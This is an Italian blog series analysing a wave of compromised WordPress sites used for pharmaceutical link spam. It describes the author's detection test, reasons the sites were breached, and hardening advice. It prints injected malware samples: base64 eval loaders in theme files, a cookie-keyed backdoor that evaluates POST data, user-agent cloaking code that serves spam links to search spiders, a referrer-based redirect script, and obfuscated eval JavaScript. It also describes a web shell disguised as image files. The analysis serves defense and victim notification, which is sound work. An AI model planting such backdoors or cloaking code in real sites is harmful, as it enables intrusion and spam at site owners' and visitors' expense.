Ti senti un Gil Grissom, nel profondo? Che aspetti? Comprati una certificazione!

Da questo momento le battute su come sei diventato CTU si sprecheranno.

Non è che ci trovi molto da ridere. Ma anche questo è prevedibile, non sono mai stato un tipo originale.

Per chi non sapesse chi è Gil Grissom. E qui per chi non sapesse cosa sia la Forensics. Magari vale la pena di leggere qualcosa sull’effetto CSI (anche in inglese: CSI effect). Posso testimoniare che, almeno nel mio campo di competenza, l’effetto CSI ha conseguenze devastanti.

Nota personale: nell’articolo in inglese sulle scienze forensi, la Computer Forensics, insieme alla Information Forensics, occupano un posticino molto piccolo. Ma proprio piccolo. Ecco.

Da qualche tempo ho notato un comportamento diverso per alcuni dei blog violati. Il WordPress Autotest restituisce risultati con meno punteggi rossi, nei test delle parole chiave, in quello dei link nelle differenze e le stesse differenze sono spesso tutti di un rassicurante verde. L’infezione c’è, tanto che gli indicatori certi, basati sulle firme caratteristiche, sono rossi, ed anche una ispezione “visiva” al codice HTML emesso dal server mostra i segni inequivocabili della violazione. Ma il codice infiltrato nel blog non emette alcun link. Non è il risultato di una pulizia mal riuscita del blog, perché i tag di apertura e chiusura (DIV), il falso account di Google AdSense ed il codice Javascript di occultamento sono al loro posto, ben nascosti dentro il database, e vengono emessi alla visita degli spider, quindi sia i record fasulli nel database che il falso plugin sono al loro posto.

Probabilmente ci sono meno clienti per lo spam, o magari è una mossa per fare riprendere fiato al blog rispetto ai motori di ricerca, e fargli riguadagnare posizioni. Sono già due volte che succede, e la prima volta nel giro di 48 ore i blog “dormienti” erano di nuovo pronti ad emettere 100-200 link alla visita di uno spider.

Quindi, se avete fatto il test e sia i link che le parole proibite erano verdi, ma gli indicatori certi erano rossi (i test H e I) il vostro blog è ancora in mano a qualcun altro.

Parlando d’altro, ho trovato due blog aggiornati a WordPress 2.6.2 che presentano tutti i segni della violazione, nessuno escluso, a conferma che neanche l’aggiornamento alla versione 2.6.2 è più sufficiente per ripulire un blog violato in precedenza. Non è da escludere che il mentecatto abbia fatto un “upgrade” al codice iniettato, per supportare anche la versione 2.6.x. Niente male, considerando che molti plugin di WordPress sono molto meno aggiornati e spesso fermi alla versione 2.3.x o al massimo alla 2.5.x. Ricordo che se il blog era “pulito”, un aggiornamento anche solo alla versione 2.5.1 lo mette al sicuro dall’essere violato una volta per tutte, mentre se il blog era stato violato prima di essere aggiornato ad una versione 2.5.1 o successiva, l’aggiornamento da solo non risolve un bel niente (vedere anche qui). E’ come installare la porta blindata, con il ladro che dorme in salotto.

Il comportamento di redirect ai siti delle farmacie è sempre presente, ma ci sono delle varianti in cui, invece di reindirizzare il browser, viene emessa una pagina del tutto simile a quella di un normale blog, che però nulla ha a che vedere col blog originale, e non è un redirect, il codice viene emesso direttamente dal server del blog visitato. La pagina contiene una messe di frasi sconnesse sintatticamente, ma ricche di parole chiave tutte legate a farmaci: efficacia ed effetti collaterali, vendita online. Il tutto impaginato e presentato come un normale post, con tanto di tags, commenti a tema, permalink e foglio di stile personalizzato. Forse esperimenti per un tipo differente di spam, o per ingannare gli spider e far indicizzare più link senza paura di essere bannati.

Negli ultimi mesi alcune persone si sono accorte autonomamente di avere il blog violato, grazie a stranezze nell’andamento delle visite, in qualche caso ridotte di un fattore 10, in un altro aumentate di un fattore 5 (!), però con parole chiave non proprio relative al regolare contenuto del sito. Sono stato contattato e ho dato una mano a ripulire, senza “sdraiare” completamente il blog, visto che so cosa cercare e dove, nonostante ogni blog sia violato in modo differente: differenti sono i file modificati, differenti quelli inseriti come falso plugin ed infine differenti le modifiche al database, a parte quella dell’amministratore abusivo.

Come avevo ipotizzato qualche tempo addietro, anche alcuni siti basati su Joomla! sono entrati nel girone infernale dei siti own3d. Ho trovato in blog WordPress violati link nascosti che puntano a siti Joomla! violati. Tutti insieme appassionatamente in mano al mentecatto.

Niente riposo invece per il nostro amico mentecatto. Anzi, si vedono le prime avvisaglie di una modifica allo schema di spamming, probabilmente per contrastare alcune misure prese dai maggiori motori di ricerca (grazie alle quali il rank di questo sito è collassato da 5 a 3, ma ormai ho smesso di farmi domande). Naturalmente, il numero di blog italiani compromessi continua a crescere, più velocemente di quanti ne vengano ripuliti, a cui vanno aggiunti quelli infetti da mesi e quelli ripuliti male, naturalmente di nuovo violati. La considerazione che ne emerge è che il mentecatto, informaticamente parlando, si dimostra più competente della media dei webmaster. Dovrebbe essere ormai evidente, fin qui, ma puntualizzare non guasta.

Alcuni dei test stanno perdendo di efficacia. Il numero di link emessi dal codice malevolo alla visita di uno spider è passato da 100 a meno di una quarantina, le parole utilizzate cambiano in continuazione, citando medicinali sempre nuovi. In effetti sto imparando nomi di prodotti farmaceutici mai sentiti prima. Stilarne l’elenco è sempre più difficile, data l’estensione del mercato. In questo modo due degli indicatori nel test, quelli con le parole proibite, spesso segnano giallo o addirittura verde. Le parole rilevate sono troppo poche.

Non basta: diventa più difficile trovare i blog compromessi tramite i motori di ricerca, non so che parole cercare. Sarà sempre più difficile scovarne, di blog, e di conseguenza sempre più difficile avvertire le vittime.

Di contro, il mentecatto è tutt’altro che in ferie. Nelle due ultime settimane ho trovato almeno quindici blog italiani che prima non erano presenti fra quelli compromessi, e che ora mostrano i segni della nuova strategia (pochi link e poche parole chiave), quindi a tutti gli effetti sono “freschi di violazione”. Sui blog compromessi da tempo, ed i cui proprietari sono stati avvertiti, anche da mesi, in media ogni pochi giorni cambiano i link e le parole chiave, altro segno che il mentecatto è ancora nella stanza dei bottoni.

Sul fronte temi infetti, oramai sono definitivamente convinto che il danno cerebrale sia irreversibile: proprio qualche giorno addietro ho notato nei log prodotti dal test uno dei test richiesti al controllo. Il link era alla demo di un tema WordPress, offerto da uno dei siti noti per offrire temi troianizzati. Ovviamente il test era negativo NON ESSENDO UN TEST PER TEMI DI WORDPRESS, ma il tema provato era naturalmente farcito con il solito codice PHP per inserire link pubblicitari, nascosto ed offuscato. Mi arrendo. Potrei mettere una domanda obbligatoria nel test, tipo “Hai capito che questo non è un test per temi infetti?”, ma scommetto che non servirebbe. Magari in una prossima versione del test la metto, giusto per farmi due risate.

Ah, a proposito: c’è un blog infetto da mesi nei primi cento di una nota classifica di blog italiani, da me avvertito alla fine di maggio.

Il test è al solito posto. Fatelo, e raccomandatelo ai vostri amici.

Trust no one

Le modifiche sono per lo più cosmetiche: viene stampato l’elenco sia delle parole chiave trovate con il conteggio, sia un campione dei link abusivi. Ho aggiunto alcune parole chiave nuove fra quelle controllate, visto che fra i link spam ora c’è anche la pubblicità per le suonerie dei cellulari.

Ho aggiunto un avviso sulla natura del controllo, che naturalmente è stato equivocato per un controllo sui temi troianizzati, invece che un test per vedere se il blog ci appartiene ancora, cosa un po’ più grave.

Ma di questo ho già parlato. Ieri ho avvisato altre sei persone che si trovano con il blog compromesso, e sono siti importanti. Indovinate un po’? Nessuna risposta.

Penso che a breve lascerò perdere questa indagine, e mi dedicherò ad altro. Il mio tempo è limitato e le cose da fare si accumulano, quindi sono costretto a scegliere.

Per ora non pubblicherò il codice del test per evitare che gli spammer possano cambiare lo schema di infezione e vanificare il controllo. Poi chissà.

Da questo momento, se avete il blog compromesso niente più avvisi e niente più aiuto gratis. Spiacente. Come si dice in inglese: you are on your own.

Per i dettagli

Segue il vecchio articolo

Avete dei dubbi sulla integrità fisica e sulla salute del vostro blog? Fate un test!

Mi spiego. Ho attrezzato una pagina PHP che effettua alcuni test automatici sul blog di cui viene fornito l’indirizzo completo. Il risultato è analizzato alla ricerca dei segni distintivi di questo tipo di intrusione: pagine differenti a seconda dello user agent, link contenenti i soliti farmaci venduti online ed altre stranezze. Al termine del test viene visualizzata una tabellina con i risultati.

Naturalmente, data la automaticità del test, il risultato è tutt’altro che certo, per cui occorre una verifica manuale in caso di segnalazione.

Cosa fa il test

• Tenta l’identificazione della piattaforma su cui si basa il sito, tramite un semplice fingerprinting: controlla se esiste una pagina di login, se nella home page esiste la parola “wordpress”. Se non trova questi segni caratteristici stampa un avviso ed esegue comunque il controllo. Ovviamente se si esegue il test su un sito non basato su WordPress il risultato è privo di senso, o comunque non significativo.
• Legge più volte la pagina principale del sito. Una volta la legge presentandosi come spider di un noto motore di ricerca, poi la legge di nuovo presentandosi come un normale browser. Se le due pagine sono differenti, vengono fatti dei controlli sulle differenze, alla ricerca di parole tipiche dello spam, di link e di righe troppo lunghe.
• Altri controlli vengono fatti sulla pagina restituita nella visita come spider, contando le parole tipiche dello spam, cercando stringhe esadecimali lunghe e particolari tipi di stile CSS atti a nascondere contenuto. Questi controlli sono “euristici” e la presenza di queste anomalie non è indice di infezione certa, ma se ne sono presenti più di uno, ed in numero consistente, conviene fare un controllo.
• Viene infine controllata la presenza di due particolari elementi nella pagina, indicatori certi di infezione, una sorta di firma dell’intrusione. Se si verifica la presenza di questi, anche uno solo, si è in presenza degli effetti di una violazione del sito.

Cosa non fa

Il controllo vale solo per WordPress installato su un sito dedicato, e solo per il tipo di intrusione documentato negli articoli elencati poco sotto. Non è un controllo antivirus, non è un rilevatore di intrusioni di qualsiasi tipo, né un controllo di integrità generico per WordPress. Non è neanche un “tester di temi contraffatti”: è impossibile da realizzare a tema installato, il tema va controllato prima di installarlo, e da una persona competente. Tanto meno può ripulire o “disinfettare” un blog compromesso: questo può farlo solo il proprietario o il webmaster, e non sarebbe neanche tecnicamente possibile senza operare con i dati di accesso del webmaster.

Se il sito è molto personalizzato, il controllo può fallire in tutti i sensi, cioè segnalare come infetti siti puliti e viceversa. Può non riconoscere un sito basato su WordPress, come può scambiare un sito costruito con altri software con WordPress. In tutti questi casi i risultati sono da prendere molto con le molle.

Il controllo non esegue alcuna operazione critica o intrusiva sul sito: esegue le stesse operazioni di chiunque lo visiti con un normale browser, niente di più.

Nota bene

Per evitare abusi e scherzi idioti, ogni richiesta è loggata e sono inseriti alcuni controlli preventivi. Uomo avvisato…

La pagina del test è qui.

Se volete altri dettagli, leggete gli articoli predenti elencati sotto, o contattatemi direttamente.

Gli articoli precedenti

Per chi vuole leggere tutta la storia, qui c’è l’elenco con tutti gli articoli che trattano dell’indagine sui blog violati:

• WordPress + Pagerank + Spammer = PANIC!
• Attention: your WordPress blog may be compromised. (in inglese)
• Spam con WordPress: esempi di codice iniettato
• Spam con WordPress: primi dettagli su un sito compromesso
• Spam con WordPress: altri esempi di codice iniettato
• Spam con WordPress: sempre più sofisticato
• WordPress: perché non basta l’aggiornamento

Di seguito alcuni consigli per diminuire il rischio di essere colpiti, e cosa fare quando succede:

• Come rinforzare le difese di WordPress
• Cosa fare quando si viene colpiti

Avere un sito web oggi è veramente semplice. Anche senza spendere un centesimo, ci sono siti che offrono spazio web e possibilità di creare anche pagine dinamiche, con PHP o simili, con o senza database, gratuitamente.

Anche acquistare un nome (www.qualcosa.net) con relativo spazio di pubblicazione è alla portata di quasi tutti. Con una manciata di Euro è possibile registrarsi il nome, avere lo spazio web ed un certo numero di caselle di posta personalizzate.

Dal lato gestione e creazione dei contenuti il panorama è lo stesso. Esistono decine di software per creare il proprio blog, partendo da WordPress per finire con un semplice editor di testo, per chi ama il fai da te estremo, tutti a costo zero.

Insomma improvvisarsi webmaster è cosa fatta. Ma, e qui l’asino si sfracella, i problemi nascono quando succedono cose che su Internet sono all’ordine del giorno: una intrusione, un tentativo di sfruttare qualcosa nel nostro sito web per fare cose certamente poco corrette dal punto di vista etico.

Come si può vedere dall’articolo pubblicato poco prima di questo, anche usando un software molto collaudato i problemi possono insorgere da una gestione poco accorta. Gestione che richiede delle competenze non certo gratuite. Nel senso che acquisirle costa tempo e fatica, e non bastano un paio di articoletti letti qua e là.

Il problema è molto sottovalutato, e molti webmaster mancano di alcune competenze basilari, mancanza che mette di fronte a rischi gravissimi, ben più di un semplice 500 Internal server error. Supponiamo che il nostro sito web contenga un software molto diffuso per gestirne i contenuti, proprio come WordPress. Uso questo nome perché ben conosciuto, ma è importante capire che nessun software è esente da questo tipo di problemi. E quando dico nessuno intendo proprio nessuno.
Tornando alla situazione in ipotesi: si scopre che il software scelto per il nostro sito contiene un errore che permette di inserire file nel sito e di eseguirli come parte del software stesso. La nostra responsibilità è quella di fare in modo che nessuno possa sfruttare questo errore, e quindi il nostro sito, per danneggiare altri.

La soluzione più semplice è, naturalmente, aggiornare il software non appena disponibile la versione corretta. Nel frattempo, se l’errore è effettivamente molto grave, sul sito del produttore del software dovrebbero essere pubblicati dei metodi per diminuire il rischio di essere colpiti (bucati come si dice a volte) o per limitare il danno.

Tutto lineare, logico e condivisibile, no?

No. Manco per niente. Quello che succede nella realtà è ben altro. E posso parlarne con cognizione di causa, visto che nell’indagare al problema dei siti compromessi in WordPress pieni di spam link ho tentato di avvertire oltre cento persone.

Di queste solo poche hanno risposto e corretto il problema, una percentuale risibile. Molti siti sono abbandonati a sé stessi da mesi o anni, ed il proprietario/webmaster non ha pubblicato sul sito nessun contatto per essere rintracciato. Ovviamente, come ultima ratio finisce che si lascia un commento nel blog, ma è rischioso, perché se i commenti non sono moderati è come mettere una freccia al neon alta 10 metri con su scritto “questo sito è vulnerabile”.

Moltissimi non rispondono ai messaggi, e sì che ho badato bene a non nominare i soliti farmaci, come pure ho cercato di evitare alcune parole chiave tipiche dello spam, per evitare filtri antispam troppo zelanti. Mi sembrava di essere in una partita di Taboo, il gioco in cui devi far indovinare una parola senza dire una serie di termini palesemente correlati con la parola stessa. Per esempio se la parola è “balena”, non puoi dire mammifero, mare, Moby Dick, Achab e via così.

Per non parlare di reazioni “piccate” di alcuni, che hanno avuto reazioni simili a chi si sente spiato.

Ma la cosa più frustrante è che molti di questi siti appartengono a grafici, sviluppatori e webmaster, quindi persone che, verosimilmente, hanno dimestichezza con Internet ed in generale con tutto quello che comporta organizzare un sito web.

Naturalmente occorre mettere in conto che la reazione normale ad uno sconosciuto che ti scrive per avvertire che il tuo sito web contiene “cose strane” può andare dall’incredulità all’indifferenza (ma che vuole ‘sto tizio?), fino alla diffidenza (indagavi sul mio sito?). Questo è assolutamente comprensibile.

Quello che è incomprensibile è gestire un sito prono a possibili infiltrazioni da parte di malintenzionati ignorando le possibili conseguenze di questa leggerezza. Nei casi da me esaminati l’intruso si è limitato a queste attività:

• Diffondere spam link attraverso il posizionamento nei motori di ricerca dei blog violati.
• Redirigere i visitatori ai siti “commissionari” dello spam

Il primo problema è che alcuni dei siti su cui si viene rediretti tentano di iniettare malware attraverso il browser dei visitatori. Il secondo problema è che chiunque si veda iniettare malware può facilmente pensare che il sito colpevole è quello che lo ha rediretto sul sito trappola. Tocca al proprietario del sito dimostrare che il codice che effettua la ridirezione non è stato messo intenzionalmente dal proprietario stesso del sito, ma è il risultato di una violazione del sito. E, credetemi, non è proprio facilissimo dimostrarlo.

C’è un altro aspetto, molto più inquietante. Se chi ha violato il sito, forte del fatto che il proprietario non si accorge di nulla e non pone rimedio, decide di “vendere” il sito già scardinato a qualcun altro, le cose potrebbero farsi molto più interessanti. A quel punto, niente potrebbe fermare uno spammer dallo spedire messaggi a tutto il mondo, o archiviare software pirata sul server, o ospitare una raccolta di immagini tali da essere illegali in tutto il mondo o quasi. Oppure usare il sito per ospitare applicazioni trappola, da usare per attacchi di phishing, o per diffondere malware in grado di costruire una botnet. Insomma, solo la fantasia limita le possibilità di fare birbonate.

Nei siti violati che ho personalmente esaminato le tecniche utilizzate mettono ragionevolmente al sicuro il responsabile dell’attacco con l’uso di metodi tesi a lasciare pochissime tracce, quali ad esempio eseguire comandi passati attraverso un form, metodo che nasconde i comandi eseguiti, anche ai log del server su cui il sito è ospitato. Quello che appare all’esterno è che un sito attaccato attraverso il nostro riporta nei log del proprio server tutte le indicazioni che l’attacco è venuto dal nostro sito, mentre nel server che ospita il nostro sito non c’è quasi nulla. Il risultato è che sta di nuovo a noi dimostrare che l’attacco non è condotto da noi.

Il pensare che si è poco importanti per essere attaccati è una pia illusione: in questo tipo di attacchi quello che si cerca non è il sito importante e “visibile”, ma semplicemente un sito pulito da sfruttare, un po’ come quando viene rubata una utilitaria per commettere un furto, e si sceglie il modello più comune col colore più diffuso. In questo caso meno il sito è noto, e visitato, meglio è. Unica eccezione è quando lo scopo è di fare link spam, dove serve un sito ben piazzato nei motori di ricerca per rendere più visibili i link abusivi nelle pagine dei risultati di ricerca.

Concludendo, il messaggio è che se da un lato è semplice ed alla portata di tutti fare il proprio sito web, non è altrettanto semplice e privo di rischi trovarsi a fronteggiare quello che in gergo si chiama incidente di sicurezza. La gestione di una simile eventualità deve essere tempestiva ed efficace, senza trascurare la possibilità che chi ha violato il nostro sito sia già riuscito a commettere qualche crimine sfruttando la situazione.

Paura? Bene, vuol dire che qualcosa è giunto a destinazione.

• WordPress + Pagerank + Spammer = PANIC!
• Attention: your WordPress blog may be compromised. (in inglese)
• Spam con WordPress: esempi di codice iniettato
• Spam con WordPress: primi dettagli su un sito compromesso
• Spam con WordPress: altri esempi di codice iniettato

Ho ancora altri due siti da analizzare. Quello che è ormai chiaro è l’estensione dell’infezione, siamo a centinaia di siti sicuramente colpiti. La notizia buona, si fa per dire, è che la maggior parte dei blog violati sono abbandonati a se stessi da mesi o anni. Ma è una buona notizia a metà.

Fino ad ora chi ha violato questi siti si è limitato, se di limite si può parlare, ad usarli per fare pubblicità a farmacie online, suonerie per cellulari, società di rifinanziamento e simili. Insomma, roba solita dello spam. Nessuno vieta però di pensare ad altri usi, molto meno “amichevoli” sia verso il proprietario del sito che verso gli eventuali visitatori.

E le prime avvisaglie non tardano ad arrivare. Il codice usato è in continua evoluzione ed in decine di varianti diverse, come differente è il tipo di attacco. Uno dei siti analizzati non ha nessuna modifica ai file di WordPress, ma il proprietario ha installato un tema e lo ha personalizzato. Nel file header.php l’attaccante è riuscito ad infilare queste due righe di codice:

eval(base64_decode('JGZsbj0nd3AtY29udGVudC90aGVtZXMvdGlnYS9qcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRmbG4pKXtpbmNsdWRlX29uY2UoJGZsbik7fQ=='));
...
eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSl7ZWNobyBnbWwoKTt9'));

con il solito schema di offuscamento del codice. Il codice PHP reale è:

$fln='wp-content/themes/tiga/js.php';if(file_exists($fln)){include_once($fln);}
...
if(function_exists('gml')){echo gml();}

Lo scopo è sempre lo stesso: se esiste un certo file lo include, e poco dopo chiama una funzione definita nel file incluso. Il lavoro della funzione è quello di controllare lo user agent di chiunque visita il sito e se risulta lo spider di un motore di ricerca infarcisce la pagina di spam link.

In un caso ho potuto guardare anche dentro il database del blog compromesso, e c’è una sorpresa anche lì. Uno dei record della tabella wp_options, ha come nome wordpress_options. Questa specifica opzione ha assegnato un valore di oltre 16kbyte, che inizia così:

; ))"=szJ14iMnASPg4

e finisce così:

Iw1Gdi0DdjFGJ"(edoced_46esab(lave

Privo di senso, a prima vista. A colpo d’occhio, i 16kbyte di caratteri sembrano una classica codifica base64, ma passati così come sono al decoder restituiscono un errore. La parte terminale è un indizio importante: leggendola al contrario è:

eval(base64_decode("....

Un breve script shell, invertita la stringa viene restituito un codice PHP esattamente identico a quello del file incluso in header.php del tema.

L’attaccante, in questo caso specifico, ha cambiato la data di tutti i file del sito sul server ad una data e ora unica, certamente non corrispondente a nessuna data utile. Quindi niente linea temporale: non possiamo sapere facilmente quali file siano stati modificati e quando, semplicemente guardando la data. Inoltre non abbiamo un momento preciso in cui andare a guardare nei log del web server.

Una curiosità: in fondo a questo file incluso viene ridefinita la variabile globale $wp_version che contiene la versione ufficiale di WordPress installata. Il valore assegnato è 2.5. Se magicamente vi trovate il blog aggiornato a WordPress 2.5 e non ricordate di averlo fatto è molto probabile che il blog non vi appartenga più.

Entrambi hanno lo stesso schema di intrusione. Li sto ancora analizzando, e stavolta il cracker è più furbo dei precedenti. Il codice è iniettato su parecchie pagine, subito dopo la sequenza di escape del PHP, in questo modo (tratto dal file wp-admin/index.php):

<?php
  if(md5($_COOKIE['_wp_debugger'])=="788d0899a96f367ef0b93356bc87c28a") {
    eval(base64_decode($_POST['file']));
    exit;
  }
?>
<?php
  if($_GET['4bb9dfc9087f6880']=="3af2f3a320b6d01a") {
    eval(base64_decode($_POST['file']));
    exit;
  }
?>

Il primo if sembra essere una forma di identificazione: se nel browser del visitatore è presente un certo cookie viene eseguito del codice, risultante dalla funzione eval applicata sul contenuto della richiesta POST. Il secondo assomiglia al primo, solo che viene controllata la presenza ed il valore di una variabile di tipo urlencoded. Questo sito è stato compromesso più volte, almeno due, con versioni successive installate forse da due cracker differenti.

La parte più “gustosa”, si fa per dire, è quella del rilevamento dello user agent e della “farcitura” della home page di link spam (tratto dal file wp-includes/default-filters.php):

add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775');
function wpc7c16b8466d864eeefd20050625c7775() {
  $seau=array("google","yahoo","slurp","msn","live","ask","altavista","aol");
  $sebot="";
  foreach($seau as $ua)
    if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),$ua)!==false){ $sebot="1"; break; }
  if(!($sebot==1 && sizeof($_COOKIE)==0)) return;
  @include('./wp-includes/class-mail.php');
  if(sizeof($wparr)>0){
    echo "<div id=\"_wp_footer\">";
    foreach($wparr as $k=>$v){
      echo "<a href=\"".$v['url']."\" title=\"".ucwords($v['key'])."\">".ucwords($v['key'])."</a>\n";
      if($i++==$inum) break;
    }
    echo "</div>".$_footer;
  }
}

Notare la lista delle stringhe per lo user agent, alla variabile $seau.
Questo tipo è quello che usa il tag <div> con ID pari a “_wp-footer”, visto qui.

Nell’albero delle directory dell’installazione di WordPress compromessa vi sono alcuni file estranei, riconoscibili per via dell’ultima lettera dell’estensione del nome duplicata: en_new.php.jpgg, mcwindows.php.giff, Downloads_old.php.jpgg.

Il contenuto, come è facile immaginare, è completamente differente da quello che l’estensione sembra suggerire: sono script PHP che iniziano in questo modo:

<?php
  if(md5($_COOKIE['qwerty'])=="bed5666cccb90054bec0058e9f28d91c"){
    clearstatcache();
    set_magic_quotes_runtime(0);
    if(!function_exists('ini_set')){
      function ini_set(){
        return FALSE;
      }
   }
...

La prima riga è proprio una autenticazione, il resto del file contiene varie funzioni, le più interessanti sono una che tenta la modifica di alcune variabili di funzionamento dell’interprete PHP, per la precisione max_execution_time e output_buffering, ed una che controlla l’impostazione del “safe mode”. Segue una rudimentale shell via web che permette di creare directory, modificare file, rimuovere file o directory, fare l’upload di file, eseguire comandi via shell. Ed ancora, una funzione che scandisce l’albero di directory a partire da un punto e cerca file e directory modificabili con l’utente con cui viene eseguita la shell, ossia il web server. Ultima finezza, una funzione che permette di aprire e modificare un file e rimette data ed ora di ultima modifica a quella precedente le modifiche, come se il file non fosse mai stato toccato.

Insomma, il kit del provetto cracker.

Devo dire che c’è da imparare da questa gente. Alcune tecniche di programmazione sono realmente istruttive. C’è una funzione che cerca, fra le varie disponibili nelle tante versioni rilasciate di PHP, quella esistente nell’installazione in cui viene messa in esecuzione, a scelta fra: exec, shell_exec, system e passthru.

L’attacco è stato compiuto sfruttando una delle vulnerabilità note delle versioni 2.0.x di WordPress, ed il risultato è stato di iniettare file PHP sia nella directory del tema Classic che in una delle directory accessorie dell’editor TinyMCE. Tramite questi due file l’attaccante è poi riuscito ad iniettare due singole righe di istruzioni in PHP all’interno del file wp-includes/function.php che iniziano così:

eval(base64_decode(.....

e contengono una lunga stringa di caratteri alfanumerici, in codifica Base64. La prima equivale a:

if(!$GLOBALS['dhhag']){if(have_posts()){$GLOBALS['dhhag'] = 1;if(function_exists('gml')){echo gml();}}}

ed è iniettata dentro la funzione mysql2date

La seconda è iniettata fra le funzioni is_archive e is_date: controlla se esiste il file dentro le directory di TinyMCE e lo include.

Lo stile di scrittura è tipico del codice offuscato, ossia un sorgente sintatticamente corretto, ma umanamente difficile da leggere, proprio di tool usati o scritti da cracker o hacker blackhat.

In sostanza il file dentro TinyMCE viene richiamato sia da WordPress durante il suo funzionamento, sia esternamente dall’attaccante. Esaminando brevemente il codice, si evince che contiene funzioni per:

• Iniettare le due righe dette poco sopra nel file wp-includes/function.php
• scaricare nuove versioni di se stesso
• scaricare dati di lavoro dal server
• analizzare lo user agent dei visitatori e reagire alla presenza di determinate stringhe: google, msn, slurp
• riportare la propria attività su richiesta

E’ un tool automatizzato scritto appositamente, e fatto per lavorare in parallelo su un gran numero di siti compromessi. Una volta che l’attaccante lo ha iniettato nel sito vittima, lo attiva semplicemente richiamandolo tramite URL. Il risultato è un form con le opzioni da inserire, segue poi una chiamata ad un differente URL per attivarlo. Qui sotto un esempio del form.

I due siti cinesi che vedete nell’immagine del form sono quelli usati dal malware iniettato per ottenere i dati di lavoro.

Nella stessa directory ci sono i file di lavoro, con nomi che sono sequenza di 32 cifre esadecimali. Il contenuto è facilmente immaginabile: tipici messaggi spam con link ad altri siti, tutti blog già compromessi. E’ assai probabile che anche in questi siti si troverà il comportamento di redirect visto in precedenza.

Sono centinaia di link, ed ogni sito a cui puntano ne contiene di nuovi. E’ umanamente impossibile pensare di avvertirli tutti, ma ci sto provando.

Rispetto alle altre di cui ho parlato, questa è una differente variante. Non pare iniettare cose nel database e non effettua il redirect. In uno dei siti compromessi ho trovato una ulteriore variante della DIV farcita di link a beneficio del GoogleBot: questa non ha né un ID, né stile display, né Javascript che inietta lo stile in base all’ID. Qui la questione è molto più semplice: c’è una istruzione di stile come questa:

<div style="position:absolute;left:-17453px;top:-17453px">

Risultato: il contenuto della DIV è invisibile perché piazzata fuori dalla finestra del browser. E’ meno individuabile perché sia “display:none” che “id=goro” sono stringhe inusuali, e facilmente rintracciabili con un motore di ricerca, mentre “position:absolute” è infinitamente più comune.

Le ragioni per cui l’attacco ha avuto successo

Nell’installazione vi erano alcune debolezze, che hanno reso la vita relativamente facile all’attaccante. Vediamo le principali:

• La versione di WordPress era la 2.0.3, vulnerabile a parecchi tipi di attacco, compreso uno che consente di accedere al database tramite la funzione di trackback. Esistono anche dei Proof of Concept sull’argomento.
• Tutti i file di WordPress erano modificabili dall’account con cui viene eseguito il web server, in questo caso Apache. Questo ha permesso all’attaccante di inserire file in directory normalmente non modificabili, di modificare file di WordPress e quindi di iniettare il proprio codice nei punti vitali dell’applicazione.
• Tutti i file di WordPress appartenevano allo stesso account di Apache. Purtroppo questa è una pratica comune di molti servizi di hosting. E’ parente stretto del problema nel punto precedente, ma più grave: in questo modo anche se andiamo a togliere i permessi di scrittura per tutti ai file, il proprietario, ossia Apache, potrà renderli di nuovo scrivibili. Non dimentichiamoci che gli script PHP agiscono con lo stesso account e quindi gli stessi diritti del web server in cui è eseguito, in questo caso sempre Apache.

Per evitare di cadere vittima di questo tipo di attacchi, oltre a tenere aggiornato WordPress, occorre fare un lavoro di hardening sull’installazione nel web server. La regola base è che Apache, o quello che sia, deve essere eseguito con un account differente da quello a cui appartengono i file del sito. In questo modo si può controllare meglio il comportamento del codice PHP, ed impedirgli di automodificarsi, cosa tipica delle iniezioni di codice da parte di malware.

Altra cosa è di assegnare poi i permessi di scrittura solo e soltanto dove serve. Una buona guida è qui.

Partiamo dal primo esempio. Il codice era inserito in cima alla homepage di un blog:

<script language="JavaScript">
  var r=document.referrer,t="”,q;
  if (r.indexOf("google.") != -1) t = "q";
  if (r.indexOf("msn.") != -1) t = "q";
  if (r.indexOf("live.") != -1) t = "q";
  if (r.indexOf("yahoo.") != -1) t = "p";
  if (r.indexOf("altavista.") != -1) t = "q";
  if (r.indexOf("aol.") != -1) t = "query";
  if (r.indexOf("ask.") != -1) t = "q";
  if (document.cookie.length==0 && t.length &&
      (document.URL.indexOf("?certified=") != -1 ||
      document.URL.indexOf("?google-approved=") != -1) &&
      ((q=r.indexOf("?"+t+"=")) != -1 ||
      (q=r.indexOf("&"+t+"=")) != -1))
      {
	window.location="http://sito.farmaci/pharma/search.php?q=" +
	  r.substring(q+2+t.length).split("&")[0];
      }
</script>

La funzione dello script può essere riassunta in questo modo:

1. Viene esaminato il referer: se è un motore di ricerca fra Google MSN, Live, Yahoo, Altavista, AOL o Ask, viene assegnata alla variabile t la stringa che identifica la query
2. La sequenza di condizioni nell’ultimo statement if suona più o meno così:
   • se non ci sono cookie appartenenti al sito
   • se la variabile t non è vuota
   • l’url richiesto contiene ?certified= o ?google-approved=
   • vi è la sequenza di termini di ricerca nell’url del referer

   ossia, in breve, se l’url del referer è più o meno così: http://motorediricerca/search?hl=it&q=parole+chiave e l’url cercato è più o meno così: http://blog.violato/?certified=222 il browser viene rediretto a http://sito.farmaci/pharma/search.php?q=parole+chiave

Il redirect quindi non si attiva se un visitatore arriva da un altro sito qualsiasi, né se ha già visitato il sito in precedenza. Non si attiva neppure se la stringa di query manca o è incompleta nell’url del referer, determinando così un meccanismo di occultamento a danno sia del proprietario del sito che dei suoi amici e visitatori abituali.

Vediamo ora un secondo esempio.

Questo è presente sempre in alcuni dei blog compromessi. Il codice malevolo reagisce allo user agent: se è lo spider di un motore di ricerca noto, la pagina principale viene riempita di link a beneficio dello spider. Per maggiore sicurezza, i link sono all’interno di un <div> che ha ID uguale a _wp-footer. Notare che il tag non ha attributi di stile, e che l’ID assomiglia ad uno comunemente usato in WordPress, ma c’è un segno di underscore all’inizio. Ecco il codice Javascript associato:

<div id="_wp_footer">
...lunga sequenza di link con nomi di farmaci noti...
</div>
<script type="text/javascript"><!--
  google_ad_client = "pub-7652328300112263";
  google_ad_width = 728;
  google_ad_height = 15;
  google_ad_format = "728x15_0ads_al_s";
  google_ad_channel = "";
  function google_ads(str) {
    var idx = str.indexOf('?');
    if (idx == -1) return str;
    var len = str.length;
    var new_str = "”;
    var i = 1;
    for (++idx; idx < len; idx += 2,i++) {
      var ch = parseInt(str.substr(idx, 2), 16);
      new_str += String.fromCharCode((ch + i) % 256);
    }
  eval(new_str);
  }
